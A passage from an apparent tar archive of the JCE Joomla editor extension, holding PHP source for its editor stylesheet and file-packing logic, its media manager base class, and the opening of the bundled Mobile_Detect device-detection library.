            foreach ($installed as $plugin => $path) {
                $file = Path::find(array(
                    // new path
                    JPATH_PLUGINS . '/jce/editor_' . $plugin,
                    // old path
                    JPATH_PLUGINS . '/jce/editor-' . $plugin,
                    // legacy path
                    JPATH_PLUGINS . '/jce/editor-' . $plugin . '/classes'
                ), 'config.php');

                if ($file) {
                    // add plugin name to array
                    $items[$plugin] = $file;
                }
            }
        }

        $app->triggerEvent('onBeforeWfEditorPluginConfig', array($settings, &$items));

        $delim = array('-', '_');

        // loop through list and create/call method
        foreach ($items as $plugin => $file) {
            $name = str_replace($delim, ' ', $plugin);

            // Create class name
            $classname = 'WF' . ucwords($name) . 'PluginConfig';

            // remove space
            $classname = str_replace(' ', '', $classname);

            require_once $file;

            // Check class and method are callable, and call
            if (class_exists($classname) && method_exists($classname, 'getConfig')) {
                call_user_func_array(array($classname, 'getConfig'), array(&$settings));
            }
        }
    }

    /**
     * Remove keys from an array.
     */
    public function removeKeys(&$array, $keys)
    {
        if (!is_array($keys)) {
            $keys = array($keys);
        }

        $array = array_diff($array, $keys);
    }

    /**
     * Add keys to an array.
     *
     * @return The string list with added key or the key
     *
     * @param string  The array
     * @param string  The keys to add
     */
    public function addKeys(&$array, $keys)
    {
        if (!is_array($keys)) {
            $keys = array($keys);
        }
        $array = array_unique(array_merge($array, $keys));
    }

    /**
     * Get a list of editor font families.
     *
     * @return string font family list
     *
     * @param string $add    Font family to add
     * @param string $remove Font family to remove
     *
     * Deprecated in 2.3.4
     */
    public function getEditorFonts()
    {
        return '';
    }

    /**
     * Return the current site template name.
     */
    private static function getSiteTemplates()
    {
        $db = Factory::getDBO();
        $app = Factory::getApplication();
        $id = 0;

        // only process when front-end editing
        if ($app->getClientId() == 0) {
            $menus = $app->getMenu();
            $menu = $menus->getActive();

            if ($menu) {
                $id = isset($menu->template_style_id) ? $menu->template_style_id : $menu->id;
            }
        }

        $query = $db->getQuery(true);
        $query->select('*, template AS name')->from('#__template_styles')->where(array('client_id = 0'));

        $db->setQuery($query);
        $templates = $db->loadObjectList();

        $assigned = array();

        foreach ($templates as $template) {
            // default template
            if ((string) $template->home == '1') {
                $assigned[] = $template;
                continue;
            }

            // assigned template
            if ($id == $template->id) {
                array_unshift($assigned, $template);
            }
        }

        // return templates
        return $assigned;
    }

    private static function hasEditorStylesheet($name)
    {
        // editor.css file is not suitable
        if ($name == 'cassiopeia') {
            return false;
        }

        // search for editor.css file using Path
        $file = Path::find(array(
            JPATH_SITE . '/templates/' . $name . '/css',
            JPATH_SITE . '/media/templates/site/' . $name . '/css',
        ), 'editor.css');

        if ($file && filesize($file) > 0) {
            // make relative
            $file = str_replace(JPATH_SITE, '', $file);

            // remove leading slash
            $file = trim($file, '/');

            return $file;
        }

        return false;
    }

    private static function getTemplateStyleSheetsList($absolute = false)
    {
        // set default url as empty value
        $url = '';
        // set default template as empty value
        $template = (object) array('name' => '');
        // use editor default styles
        $styles = '';
        // stylesheets
        $stylesheets = array();
        // files
        $files = array();

        // get templates
        $templates = self::getSiteTemplates();

        foreach ($templates as $item) {
            // Template CSS
            $path = JPATH_SITE . '/templates/' . $item->name;

            // get the first path that exists
            if (is_dir($path)) {
                // assign template
                $template = $item;
                break;
            }
        }

        $wf = WFApplication::getInstance();

        $global = intval($wf->getParam('editor.content_css', 1));
        $profile = intval($wf->getParam('editor.profile_content_css', 2));

        switch ($global) {
            // Custom template css files
            case 0:
                // use getParam so result is cleaned
                $global_custom = $wf->getParam('editor.content_css_custom', '');

                if (is_string($global_custom)) {
                    $global_custom = explode(',', $global_custom);
                }

                foreach ($global_custom as $tmp) {
                    $tmp = trim($tmp);

                    if (empty($tmp)) {
                        continue;
                    }

                    // external url
                    if (strpos($tmp, '://') !== false) {
                        $files[] = $tmp;
                        continue;
                    }

                    // clean slashes
                    $tmp = preg_replace('#[/\\\\]+#', '/', $tmp);

                    // Replace $template variable with site template name
                    $tmp = str_replace('$template', $template->name, $tmp);

                    $file = JPATH_SITE . '/' . $tmp;
                    $list = array();

                    $file = Path::clean($file);

                    // check if path is a file
                    if (is_file($file)) {
                        $list[] = $file;
                    // find files using pattern
                    } else {
                        $list = glob($file);
                    }

                    if (!empty($list)) {
                        foreach ($list as $item) {
                            if (is_file($item) && preg_match('#\.(css|less)$#', $item)) {
                                $files[] = substr($item, strlen(JPATH_SITE) + 1);
                            }
                        }
                    }
                }

                break;
            // Template css (template.css or template_css.css)
            case 1:
                $files = array();

                // check editor.css file first
                $file = self::hasEditorStylesheet($template->name);

                if ($file) {
                    $files[] = $file;
                } else {
                    Factory::getApplication()->triggerEvent('onWfGetTemplateStylesheets', array(&$files, $template));
                }

                break;
            // Nothing, use editor default
            case 2:
                break;
        }

        switch ($profile) {
            // add to global config value
            case 0:
            case 1:
                $profile_custom = $wf->getParam('editor.profile_content_css_custom', '');

                if (is_string($profile_custom)) {
                    $profile_custom = explode(',', $profile_custom);
                }

                $custom = array();

                foreach ($profile_custom as $tmp) {
                    $tmp = trim($tmp);

                    if (empty($tmp)) {
                        continue;
                    }

                    // external url
                    if (strpos($tmp, '://') !== false) {
                        $custom[] = $tmp;
                        continue;
                    }

                    // clean slashes
                    $tmp = preg_replace('#[/\\\\]+#', '/', $tmp);

                    // Replace $template variable with site template name (defaults to 'system')
                    $tmp = str_replace('$template', $template->name, $tmp);

                    $list = array();

                    $file = JPATH_SITE . '/' . $tmp;

                    // check if path is a file
                    if (is_file($file)) {
                        $list[] = $file;
                        // find files using pattern
                    } else {
                        $list = glob($file);
                    }

                    if (!empty($list)) {
                        foreach ($list as $item) {
                            if (is_file($item) && preg_match('#\.(css|less)$#', $item)) {
                                $custom[] = substr($item, strlen(JPATH_SITE) + 1);
                            }
                        }
                    }
                }

                // add to existing list
                if ($profile === 0) {
                    $files = array_merge($files, $custom);
                    // overwrite global config value
                } else {
                    $files = (array) $custom;
                }
                break;
            // inherit global config value
            case 2:
                break;
        }

        // remove duplicates
        $files = array_unique(array_filter($files));

        // get the root directory
        $root = $absolute ? JPATH_SITE : Uri::root(true);

        // check for existence of each file and make array of stylesheets
        foreach ($files as $file) {
            if (empty($file)) {
                continue;
            }

            // full path
            if (strpos($file, '://') !== false) {
                $stylesheets[] = $file;
                continue;
            }

            // remove leading slash
            $file = ltrim($file, '/');

            $fullpath = JPATH_SITE . '/' . $file;

            if (is_file($fullpath)) {
                // less
                if (pathinfo($file, PATHINFO_EXTENSION) == 'less') {
                    $stylesheets[] = $fullpath;
                    continue;
                }

                $stylesheets[] = $root . '/' . $file;
            }
        }

        // remove duplicates
        $stylesheets = array_unique(array_filter($stylesheets));

        return $stylesheets;
    }

    /**
     * Get an array of stylesheets used by the editor.
     * References the WFEditor class.
     * If the list contains any LESS stylesheets, the list is returned as a URL to compile.
     *
     * @return string
     */
    public static function getTemplateStyleSheets()
    {
        $stylesheets = self::getTemplateStyleSheetsList();

        // check for less files in the array
        $less = preg_grep('#\.less$#', $stylesheets);

        // process less files etc.
        if (!empty($less)) {
            // create token
            $token = Session::getFormToken();
            $version = self::getVersion();

            return Uri::base(true) . '/index.php?option=com_jce&task=editor.compileless&' . $token . '=1';
        }

        return $stylesheets;
    }

    /**
     * Get the URL of the editor.
     *
     * @param bool $relative
     *
     * @return string
     */
    private function getURL($relative = false)
    {
        if ($relative) {
            return Uri::root(true) . '/media/com_jce/editor';
        }

        return Uri::root() . 'media/com_jce/editor';
    }

    /**
     * Pack / compress editor files.
     */
    public function pack()
    {
        $wf = WFApplication::getInstance();
        $type = $wf->input->getWord('type', 'javascript');

        // javascript
        $packer = new WFPacker(array('type' => $type));

        $themes = 'none';
        $plugins = array();

        $suffix = $wf->input->getWord('suffix', '');

        // if a profile is set
        if ($this->profile) {
            $themes = 'advanced';
            $plugins = $this->getPlugins();
        }

        $themes = explode(',', $themes);

        // toolbar theme
        $toolbar = explode('.', $wf->getParam('editor.toolbar_theme', 'default'));

        // base skin value
        $skin = $toolbar[0];

        switch ($type) {
            case 'language':
                $files = array();

                $data = $this->loadLanguages(array(), array(), '(^dlg$|_dlg$)', true);
                $packer->setText($data);

                break;
            case 'javascript':
                $files = array();

                // add core file
                $files[] = WF_EDITOR_MEDIA . '/tinymce/tinymce' . $suffix . '.js';

                // Add themes in dev mode
                foreach ($themes as $theme) {
                    $files[] = WF_EDITOR_MEDIA . '/tinymce/themes/' . $theme . '/theme' . $suffix . '.js';
                }

                // Add core plugins
                foreach ($plugins['core'] as $plugin) {
                    if (in_array($plugin, self::$plugins)) {
                        continue;
                    }

                    $files[] = WF_EDITOR_MEDIA . '/tinymce/plugins/' . $plugin . '/plugin' . $suffix . '.js';
                }

                // add external and pro plugins
                foreach ($plugins['external'] as $plugin => $path) {
                    // get base path from plugin path
                    $basepath = dirname($path);

                    $basepath = WFUtility::uriToAbsolutePath($basepath);

                    $file = Path::find(
                        array(
                            JPATH_SITE . '/' . $basepath
                        ),
                        'plugin' . $suffix . '.js'
                    );

                    if ($file) {
                        $files[] = $file;
                    }
                }

                // add Editor file
                $files[] = WF_EDITOR_MEDIA . '/js/editor.min.js';

                break;
            case 'css':
                $slot = $wf->input->getCmd('slot', 'editor');

                if ($slot == 'content') {
                    $files = array();

                    $files[] = WF_EDITOR_THEMES . '/' . $themes[0] . '/skins/' . $skin . '/content.css';

                    // get template stylesheets
                    $styles = self::getTemplateStyleSheetsList(true);

                    foreach ($styles as $style) {
                        $style = Path::clean($style);
                        
                        if (is_file($style)) {
                            $files[] = $style;
                        }
                    }

                    // Add core plugins
                    foreach ($plugins['core'] as $plugin) {
                        $content = WF_EDITOR_MEDIA . '/tinymce/plugins/' . $plugin . '/css/content.css';

                        if (is_file($content)) {
                            $files[] = $content;
                        }
                    }

                    // add external and pro plugins
                    foreach ($plugins['external'] as $plugin => $path) {
                        // get base path from plugin path
                        $basepath = dirname($path);

                        $basepath = WFUtility::uriToAbsolutePath($basepath);

                        $content = Path::find(
                            array(
                                $basepath . '/css'
                            ),
                            'content.css'
                        );

                        if ($content) {
                            $files[] = $content;
                        }
                    }
                } elseif ($slot == 'preview') {
                    $files = array();
                    $files[] = WF_EDITOR_MEDIA . '/tinymce/plugins/preview/css/preview.css';

                    // get template stylesheets
                    $styles = self::getTemplateStyleSheetsList(true);

                    foreach ($styles as $style) {
                        $style = Path::clean($style);
                        
                        if (is_file($style)) {
                            $files[] = $style;
                        }
                    }
                } else {
                    $files = array();

                    $files[] = WF_EDITOR_MEDIA . '/css/editor.min.css';

                    $variant = '';

                    if (count($toolbar) > 1) {
                        $variant = $toolbar[1];
                    }

                    // load 'default'
                    $files[] = WF_EDITOR_THEMES . '/' . $themes[0] . '/skins/default/ui.css';

                    if ($skin !== 'default') {
                        $files[] = WF_EDITOR_THEMES . '/' . $themes[0] . '/skins/' . $skin . '/ui.css';
                    }

                    if (isset($variant)) {
                        $files[] = WF_EDITOR_THEMES . '/' . $themes[0] . '/skins/' . $skin . '/ui_' . $variant . '.css';
                    }
                }

                break;
        }

        $cache_validation = (bool) $this->getParam('editor.compress_cache_validation', true);

        $packer->setFiles($files);
        $packer->pack(true, $cache_validation);
    }

    public function loadlanguages()
    {
        $parser = new WFLanguageParser(array('language' => $this->getLanguageTag(), 'plugins' => $this->getPlugins()));
        $data = $parser->load();
        $parser->output($data);
    }

    public function compileless()
    {
        $files = self::getTemplateStyleSheetsList(true);

        if (!empty($files)) {
            $packer = new WFPacker(array('files' => $files, 'type' => 'css'));
            $packer->pack(false);
        }
    }

    public function getToken($id)
    {
        return '<input type="hidden" name="' . Session::getFormToken() . '" value="1" />';
    }

    /**
     * Proxy function for legacy compatablity with 3rd party extensions that access the API directly
     *
     * @param string $key
     * @param string $fallback
     * @param string $default
     * @param string $type
     * @param boolean $allowempty
     * @return void
     */
    public function getParam($key, $fallback = '', $default = '', $type = 'string', $allowempty = true)
    {
        $wf = WFApplication::getInstance();
        return $wf->getParam($key, $fallback, $default, $type, $allowempty);
    }
}
com_jce/editor/libraries/classes/index.html000060400000000054152453734450015046 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/classes/manager/manager.php000060400000001020152453734450016600 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2021 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('JPATH_PLATFORM') or die;

class WFMediaManager extends WFMediaManagerBase
{
}
com_jce/editor/libraries/classes/manager/base.php000060400000036043152453734450016115 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\Registry\Registry;

\defined('_JEXEC') or die;

class WFMediaManagerBase extends WFEditorPlugin
{
    protected $_filetypes = 'jpg,jpeg,png,gif';

    private static $browser = array();

    public function __construct($config = array())
    {
        // use the full "manager" layout by default
        if (!array_key_exists('layout', $config)) {
            $config['layout'] = 'manager';
        }

        if (!array_key_exists('view_path', $config)) {
            $config['view_path'] = WF_EDITOR_LIBRARIES . '/views/plugin';
        }

        if (!array_key_exists('template_path', $config)) {
            $config['template_path'] = WF_EDITOR_LIBRARIES . '/views/plugin/tmpl';
        }

        // Call parent
        parent::__construct($config);

        // initialize the browser
        $browser = $this->getFileBrowser();
        $request = WFRequest::getInstance();

        // Setup plugin XHR callback functions
        $request->setRequest(array($this, 'getDimensions'));
    }

    /**
     * Get the File Browser instance.
     *
     * @return object WFBrowserExtension
     */
    public function getFileBrowser()
    {
        $name = $this->getName();
        $caller = $this->get('caller');

        // add caller if set
        if ($caller) {
            $name .= '.' . $caller;
        }

        if (!isset(self::$browser[$name])) {
            self::$browser[$name] = new WFFileBrowser($this->getFileBrowserConfig());
        }

        return self::$browser[$name];
    }

    protected function addFileBrowserAction($name, $options = array())
    {
        $this->getFileBrowser()->addAction($name, $options);
    }

    protected function addFileBrowserButton($type, $name, $options = array())
    {
        $this->getFileBrowser()->addButton($type, $name, $options);
    }

    protected function addFileBrowserEvent($name, $function = array())
    {
        $this->getFileBrowser()->addEvent($name, $function);
    }

    public function getBrowser()
    {
        return $this->getFileBrowser();
    }

    /**
     * Display the plugin.
     */
    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();

        $view = $this->getView();
        $browser = $this->getFileBrowser();

        $browser->display();
        $view->filebrowser = $browser;

        $options = $browser->getProperties();

        // set global options
        $document->addScriptDeclaration('FileBrowser.options=' . json_encode($options) . ';');
    }

    public function getFileTypes($format = 'array', $list = '')
    {
        return $this->getFileBrowser()->getFileTypes($format, $list);
    }

    protected function setFileTypes($filetypes)
    {
        return $this->getFileBrowser()->setFileTypes($filetypes);
    }

    public function onBeforeUpload(&$file, &$dir, &$name) {}

    public function onUpload($file, $relative = '') {}

    public function getDimensions($file)
    {
        $browser = $this->getFileBrowser();

        $data = array();

        $extension = WFUtility::getExtension($file, true);

        // images and flash
        if (in_array($extension, array('jpg', 'jpeg', 'png', 'apng', 'gif', 'bmp', 'wbmp', 'tif', 'tiff', 'psd', 'ico', 'webp', 'swf'))) {
            list($data['width'], $data['height']) = $browser->getDimensions($file);
            return $data;
        }

        $path = $browser->toAbsolute($file);

        // svg
        if ($extension == 'svg') {
            $svg = @simplexml_load_file($path);

            if ($svg && isset($svg['viewBox'])) {
                list($start_x, $start_y, $end_x, $end_y) = explode(' ', $svg['viewBox']);

                $width = (int) $end_x;
                $height = (int) $end_y;

                if ($width && $height) {
                    $data['width'] = $width;
                    $data['height'] = $height;

                    return $data;
                }
            }
        }

        return $data;
    }

    /**
     * Get the filesystem definition from parameters (with static caching).
     *
     * Reads the `filesystem` parameter to determine the active filesystem name
     * (defaults to "joomla") and returns an object with:
     *  - name (string): The active filesystem name.
     *  - properties (Registry): Configuration for that filesystem.
     *
     * If a section matching the active name exists in the `filesystem` parameter,
     * its values are loaded into the Registry; otherwise an empty Registry is used.
     *
     * The result is cached in a static variable for the lifetime of the request.
     *
     * @return \stdClass Object with `name` (string) and `properties` (Registry).
     */
    private function getFileSystemConfig()
    {
        static $filesystem = null;

        if ($filesystem !== null) {
            return $filesystem;
        }

        // get local (plugin) filesystem config
        $config = (array) $this->getParam('filesystem', array());

        // if no local filesystem name is set, use global config. This is to avoid using the local config values, eg: allow_root, if it has actually been reset to "inherit"
        if (empty($config['name'])) {
            // get global filesystem config
            $config = (array) $this->getParam('editor.filesystem', array());
        }

        // Determine active filesystem name (defaults to "joomla")
        $name = empty($config['name']) ? 'joomla' : $config['name'];

        $item = array(
            'name' => $name,
            'properties' => new Registry(),
        );

        if (isset($config[$name])) {
            $item = array(
                'name' => $name,
                'properties' => new Registry($config[$name]),
            );
        }

        $filesystem = (object) $item;

        return $filesystem;
    }

    private function getFilesystem($config = array())
    {
        static $instances = array();

        $fs = $this->getFileSystemConfig();

        // merge config with filesystem properties
        if (isset($fs->properties)) {
            $config = array_merge($fs->properties->toArray(), $config);
        }

        $signature = md5($fs->name . serialize($config));

        if (!isset($instances[$signature])) {
            $instances[$signature] = WFFileSystem::getInstance($fs->name, $config);
        }

        return $instances[$signature];
    }

    /**
     * Build the Directory Store from parameters with correct defaults.
     *
     * Behavior:
     * - Read editor base dir and plugin dir (with optional caller override).
     * - If $dir is empty or an array with no non-blank paths, fall back to $baseDir.
     * - Normalize string $dir to array format.
     * - Only add a default "images" entry when there are no usable (non-blank) paths,
     *   and only if allow_root is false. Otherwise, ignore blank rows.
     * 
     * @param  WFFileSystem $filesystem The filesystem instance to use.
     *
     * @return array        Associative array keyed by md5(path) => ['path' => ..., 'label' => ...]
     */
    protected function buildDirectoryStoreFromParams($filesystem): array
    {
        // default global filesystem configuration
        $baseFs = (array) $this->getParam('editor.filesystem', array('name' => 'joomla'));

        if (empty($baseFs['name'])) {
            $baseFs['name'] = 'joomla'; // default to joomla filesystem
        }

        // get the global base directory value
        $baseDir = $this->getParam('editor.dir', '', '', false);

        // get directory from plugin parameter, fallback to base directory as it cannot itself be empty
        $dir = $this->getParam($this->getName() . '.dir');

        // check for directory set by caller, eg: Image Manager in Basic Dialog
        if ($this->get('caller')) {
            $dir = $this->getParam($this->get('caller') . '.dir', $dir);
        }

        // allow root: accept both spellings just in case
        $allowRoot = (bool) ($filesystem->get('allowroot', $filesystem->get('allow_root', 0)));

        // if the filesystem name matches the base filesystem name, use the base directory if no directory is set and allowRoot is false
        if ($baseFs['name'] === $filesystem->get('name') && $allowRoot === false) {
            // if no directory is set, or it is an empty array, use the base directory
            if (empty($dir)) {
                $dir = $baseDir;

                // otherwise, if it is an array, check if it has a path value, if not use the base directory    
            } else if (is_array($dir) && count(array_filter(array_column($dir, 'path'))) === 0) {
                $dir = $baseDir;
            }
        }

        // Normalize $dir into an array of directories if it is a string (legacy value)
        if (!is_array($dir)) {
            $dir = [
                [
                    'path' => $dir,
                    'label' => '',
                ],
            ];
        }

        // Collect non-blank entries (trimmed)
        $nonBlank = [];

        foreach ($dir as $values) {
            $path = trim($values['path'] ?? '');
            $label = $values['label'] ?? '';

            if ($path !== '') {
                $nonBlank[] = ['path' => $path, 'label' => $label];
            }
        }

        $dirStore = [];

        // If no usable entries exist (all blank or effectively empty after normalization)
        if (count($nonBlank) === 0) {
            if ($allowRoot === false) {
                $root = $filesystem->get('root', 'images'); // get the default root for the filesystem

                if (empty($root)) {
                    $root = 'images';
                }

                // Default ONLY here to "images"
                $hash = md5($root);

                $dirStore[$hash] = [
                    'path'  => $root,
                    'label' => '' // no label required for a single path
                ];
            } else {
                // Root allowed: a single blank/root entry
                $hash = md5('');

                $dirStore[$hash] = [
                    'path' => '',
                    'label' => '',
                ];
            }

            return $dirStore;
        }

        // Otherwise, at least one non-blank path exists — ignore blank rows
        foreach ($nonBlank as $item) {
            $hash = md5($item['path']);

            $dirStore[$hash] = [
                'path' => $item['path'],
                'label' => $item['label'],
            ];
        }

        return $dirStore;
    }

    private function getFeatures($filesystem)
    {
        $isReadOnly = $filesystem->get('readonly', false);

        $allow = function ($param, $default = 1) use ($isReadOnly) {
            return $isReadOnly ? false : $this->getParam($param, $default);
        };

        $features = array(
            'help' => $allow('help_button', 1),
            'upload' => $allow('upload'),
            'folder' => array(
                'create' => $allow('folder_new'),
                'delete' => $allow('folder_delete'),
                'rename' => $allow('folder_rename'),
                'move'   => $allow('folder_move'),
            ),
            'file' => array(
                'delete' => $allow('file_delete'),
                'rename' => $allow('file_rename'),
                'move'   => $allow('file_move'),
            ),
        );

        return $features;
    }

    /**
     * Get the Media Manager configuration.
     *
     * @return array
     */
    protected function getFileBrowserConfig($config = array())
    {
        $filetypes = $this->getParam('extensions', $this->get('_filetypes'));
        $textcase = $this->getParam('editor.websafe_textcase', '');

        // flatten filetypes
        $filetypes = WFUtility::formatFileTypesList('list', $filetypes);

        $filesystem = $this->getFilesystem(array(
            'upload_conflict'   => $this->getParam('editor.upload_conflict', 'overwrite'),
            'upload_suffix'     => $this->getParam('editor.upload_suffix', '_copy'),
            'filetypes'         => $filetypes
        ));

        // implode textcase array to create string
        if (is_array($textcase)) {
            $textcase = array_filter($textcase, 'strlen');
            $textcase = implode(',', $textcase);
        }

        $filter = $this->getParam('editor.dir_filter', array());

        // explode to array if string - 2.7.x...2.7.11
        if (!is_array($filter)) {
            $filter = explode(',', $filter);
        }

        // remove empty values
        $filter = array_filter((array) $filter);

        $dirStore = $this->buildDirectoryStoreFromParams($filesystem);

        // get websafe spaces parameter and convert legacy values
        $websafe_spaces = $this->getParam('editor.websafe_allow_spaces', '_');

        if (is_numeric($websafe_spaces)) {
            // legacy replacement
            if ($websafe_spaces == 0) {
                $websafe_spaces = '_';
            }
            // convert to space
            if ($websafe_spaces == 1) {
                $websafe_spaces = ' ';
            }
        }

        // fix legacy list limit value
        $list_limit = $this->getParam('editor.list_limit', 0);

        // convert "all" to 0
        if (!is_numeric($list_limit)) {
            $list_limit = 0;
        }

        $features = $this->getFeatures($filesystem);

        $base = array(
            'dir' => $dirStore,
            'filesystem' => $filesystem,
            'filetypes' => $filetypes,
            'filter' => $filter,
            'upload' => array(
                'max_size' => $this->getParam('max_size', 1024),
                'validate_mimetype' => (int) $this->getParam('editor.validate_mimetype', 1),
                'add_random' => (int) $this->getParam('editor.upload_add_random', 0),
                'total_files' => (float) $this->getParam('editor.total_files', 0),
                'total_size' => (float) $this->getParam('editor.total_size', 0),
                'remove_exif' => (int) $this->getParam('editor.upload_remove_exif', 0),
            ),
            'folder_tree' => $this->getParam('editor.folder_tree', 1),
            'list_limit' => $list_limit,
            'features' => $features,
            'websafe_mode' => $this->getParam('editor.websafe_mode', 'utf-8'),
            'websafe_spaces' => $websafe_spaces,
            'websafe_textcase' => $textcase,
            'date_format' => $this->getParam('editor.date_format', '%d/%m/%Y, %H:%M'),
            'position' => $this->getParam('editor.filebrowser_position', $this->getParam('editor.browser_position', 'bottom')),
            'use_state_cookies' => $this->getParam('editor.use_cookies', true),
            'search_depth' => $this->getParam('editor.filebrowser_search_depth', 3),
            'allow_download' => $this->getParam('allow_download', 0),
            'list_limit_options' => $filesystem->get('list_limit_options', array(10, 25, 50, 100, 0))
        );

        return WFUtility::array_merge_recursive_distinct($base, $config);
    }
}
com_jce/editor/libraries/classes/manager/index.html000060400000000054152453734450016460 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/classes/mobile.php000060400000235320152453734450015037 0ustar00<?php
/**
 * Mobile Detect Library
 * Motto: "Every business should have a mobile detection script to detect mobile readers"
 *
 * Mobile_Detect is a lightweight PHP class for detecting mobile devices (including tablets).
 * It uses the User-Agent string combined with specific HTTP headers to detect the mobile environment.
 *
 * Homepage: http://mobiledetect.net
 * GitHub: https://github.com/serbanghita/Mobile-Detect
 * README: https://github.com/serbanghita/Mobile-Detect/blob/master/README.md
 * CONTRIBUTING: https://github.com/serbanghita/Mobile-Detect/blob/master/docs/CONTRIBUTING.md
 * KNOWN LIMITATIONS: https://github.com/serbanghita/Mobile-Detect/blob/master/docs/KNOWN_LIMITATIONS.md
 * EXAMPLES: https://github.com/serbanghita/Mobile-Detect/wiki/Code-examples
 *
 * @license https://github.com/serbanghita/Mobile-Detect/blob/master/LICENSE.txt MIT License
 * @author  Serban Ghita <serbanghita@gmail.com>
 * @author  Nick Ilyin <nick.ilyin@gmail.com>
 * Original author: Victor Stanciu <vic.stanciu@gmail.com>
 *
 * @version 2.8.33
 */
class Wf_Mobile_Detect
{
    /**
     * Mobile detection type.
     *
     * @deprecated since version 2.6.9
     */
    const DETECTION_TYPE_MOBILE = 'mobile';

    /**
     * Extended detection type.
     *
     * @deprecated since version 2.6.9
     */
    const DETECTION_TYPE_EXTENDED = 'extended';

    /**
     * A frequently used regular expression to extract version #s.
     *
     * @deprecated since version 2.6.9
     */
    const VER = '([\w._\+]+)';

    /**
     * Top-level device.
     */
    const MOBILE_GRADE_A = 'A';

    /**
     * Mid-level device.
     */
    const MOBILE_GRADE_B = 'B';

    /**
     * Low-level device.
     */
    const MOBILE_GRADE_C = 'C';

    /**
     * Stores the version number of the current release.
     */
    const VERSION = '2.8.33';

    /**
     * A type for the version() method indicating a string return value.
     */
    const VERSION_TYPE_STRING = 'text';

    /**
     * A type for the version() method indicating a float return value.
     */
    const VERSION_TYPE_FLOAT = 'float';

    /**
     * A cache for resolved matches
     * @var array
     */
    protected $cache = array();

    /**
     * The User-Agent HTTP header is stored in here.
     * @var string
     */
    protected $userAgent = null;

    /**
     * HTTP headers in the PHP-flavor. So HTTP_USER_AGENT and SERVER_SOFTWARE.
     * @var array
     */
    protected $httpHeaders = array();

    /**
     * CloudFront headers. E.g. CloudFront-Is-Desktop-Viewer, CloudFront-Is-Mobile-Viewer & CloudFront-Is-Tablet-Viewer.
     * @var array
     */
    protected $cloudfrontHeaders = array();

    /**
     * The matching Regex.
     * This is good for debug.
     * @var string
     */
    protected $matchingRegex = null;

    /**
     * The matches extracted from the regex expression.
     * This is good for debug.
     *
     * @var string
     */
    protected $matchesArray = null;

    /**
     * The detection type, using self::DETECTION_TYPE_MOBILE or self::DETECTION_TYPE_EXTENDED.
     *
     * @deprecated since version 2.6.9
     *
     * @var string
     */
    protected $detectionType = self::DETECTION_TYPE_MOBILE;

    /**
     * HTTP headers that trigger the 'isMobile' detection
     * to be true.
     *
     * @var array
     */
    protected static $mobileHeaders = array(

        'HTTP_ACCEPT' => array('matches' => array(
            // Opera Mini; @reference: http://dev.opera.com/articles/view/opera-binary-markup-language/
            'application/x-obml2d',
            // BlackBerry devices.
            'application/vnd.rim.html',
            'text/vnd.wap.wml',
            'application/vnd.wap.xhtml+xml',
        )),
        'HTTP_X_WAP_PROFILE' => null,
        'HTTP_X_WAP_CLIENTID' => null,
        'HTTP_WAP_CONNECTION' => null,
        'HTTP_PROFILE' => null,
        // Reported by Opera on Nokia devices (eg. C3).
        'HTTP_X_OPERAMINI_PHONE_UA' => null,
        'HTTP_X_NOKIA_GATEWAY_ID' => null,
        'HTTP_X_ORANGE_ID' => null,
        'HTTP_X_VODAFONE_3GPDPCONTEXT' => null,
        'HTTP_X_HUAWEI_USERID' => null,
        // Reported by Windows Smartphones.
        'HTTP_UA_OS' => null,
        // Reported by Verizon, Vodafone proxy system.
        'HTTP_X_MOBILE_GATEWAY' => null,
        // Seen this on HTC Sensation. SensationXE_Beats_Z715e.
        'HTTP_X_ATT_DEVICEID' => null,
        // Seen this on a HTC.
        'HTTP_UA_CPU' => array('matches' => array('ARM')),
    );

    /**
     * List of mobile devices (phones).
     *
     * @var array
     */
    protected static $phoneDevices = array(
        'iPhone' => '\biPhone\b|\biPod\b', // |\biTunes
        'BlackBerry' => 'BlackBerry|\bBB10\b|rim[0-9]+',
        'HTC' => 'HTC|HTC.*(Sensation|Evo|Vision|Explorer|6800|8100|8900|A7272|S510e|C110e|Legend|Desire|T8282)|APX515CKT|Qtek9090|APA9292KT|HD_mini|Sensation.*Z710e|PG86100|Z715e|Desire.*(A8181|HD)|ADR6200|ADR6400L|ADR6425|001HT|Inspire 4G|Android.*\bEVO\b|T-Mobile G1|Z520m|Android [0-9.]+; Pixel',
        'Nexus' => 'Nexus One|Nexus S|Galaxy.*Nexus|Android.*Nexus.*Mobile|Nexus 4|Nexus 5|Nexus 6',
        // @todo: Is 'Dell Streak' a tablet or a phone? ;)
        'Dell' => 'Dell[;]? (Streak|Aero|Venue|Venue Pro|Flash|Smoke|Mini 3iX)|XCD28|XCD35|\b001DL\b|\b101DL\b|\bGS01\b',
        'Motorola' => 'Motorola|DROIDX|DROID BIONIC|\bDroid\b.*Build|Android.*Xoom|HRI39|MOT-|A1260|A1680|A555|A853|A855|A953|A955|A956|Motorola.*ELECTRIFY|Motorola.*i1|i867|i940|MB200|MB300|MB501|MB502|MB508|MB511|MB520|MB525|MB526|MB611|MB612|MB632|MB810|MB855|MB860|MB861|MB865|MB870|ME501|ME502|ME511|ME525|ME600|ME632|ME722|ME811|ME860|ME863|ME865|MT620|MT710|MT716|MT720|MT810|MT870|MT917|Motorola.*TITANIUM|WX435|WX445|XT300|XT301|XT311|XT316|XT317|XT319|XT320|XT390|XT502|XT530|XT531|XT532|XT535|XT603|XT610|XT611|XT615|XT681|XT701|XT702|XT711|XT720|XT800|XT806|XT860|XT862|XT875|XT882|XT883|XT894|XT901|XT907|XT909|XT910|XT912|XT928|XT926|XT915|XT919|XT925|XT1021|\bMoto E\b|XT1068|XT1092|XT1052',
